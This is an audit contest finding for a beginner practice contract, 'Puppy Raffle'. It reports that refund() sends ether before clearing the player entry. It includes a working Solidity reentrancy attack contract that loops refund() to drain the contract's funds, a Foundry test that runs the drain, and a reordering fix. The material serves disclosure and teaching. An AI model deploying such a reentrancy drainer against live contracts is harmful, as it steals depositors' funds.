First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing Check-Effects-Interactions patter in the refund method makes it vulnerable to a reentrancy attack

0xspryon

Summary

Missing Check-Effects-Interactions patter in the refund method makes it vulnerable to a reentrancy attack

Vulnerability Details

In the PuppyRaffle::refund method, we send the ether before removing the transaction author from the PuppyRaffle::players array. This particular order of things makes this method vulnerable to a reentrancy attack.

POC

Put this smart contract in a file called `PuppyRaffleHackReentrancy.sol` at the root of `src` folder. 
```solidity
	// SPDX-License-Identifier: MIT
	pragma solidity ^0.7.6;
	
	import { PuppyRaffle } from "./PuppyRaffle.sol";
	
	contract PuppyRaffleHackRe {
		PuppyRaffle private raffle;
		uint private playersSize;
		uint private entranceFee;
		uint private playerIndex;
		address private owner;
	
		constructor(PuppyRaffle _raffle, uint _entranceFee) {
			raffle = _raffle;
			entranceFee = _entranceFee;
			owner = msg.sender;
		}
	
		function attack() external payable {
			address[] memory players = new address[](1);
			players[0] = address(this);
			raffle.enterRaffle{ value: entranceFee }(players);
			playerIndex = raffle.getActivePlayerIndex(address(this));
			raffle.refund(playerIndex);
		}
	
		receive() external payable {
			if (address(raffle).balance >= entranceFee) {
				raffle.refund(playerIndex);
			}
			owner.call{ value: address(this).balance }("");
		}
	}
```
Put this piece of code in `test/PuppyRaffleTest.t.sol` and don't forget to import `PuppyRaffleHackRe` from `src/PuppyRaffleHackReentrancy.sol` 
```solidity
    function testStealFunds() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        PuppyRaffleHackRe raffleHack = new PuppyRaffleHackRe(
            puppyRaffle,
            entranceFee
        );
        uint raffleBalanceBefore = address(puppyRaffle).balance;
        raffleHack.attack{ value: entranceFee * 50 }();

        assertLt(address(puppyRaffle).balance, entranceFee);
    }
```

In the terminal, run forge test --mt testStealFunds -vvv

Impact

A complete theft of all the funds in the contract with the exception of any amount that's left that's less than PuppyRaffle::entranceFee

Tools Used

Manual review

Recommendations

Properly implement the check effects interactions pattern as proposed below 
```diff
	function refund(uint256 playerIndex) public {
		address playerAddress = players[playerIndex];
		require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
		require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

-       payable(msg.sender).sendValue(entranceFee);

		players[playerIndex] = address(0);
		emit RaffleRefunded(playerAddress);
+       payable(msg.sender).sendValue(entranceFee);
	}
```
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!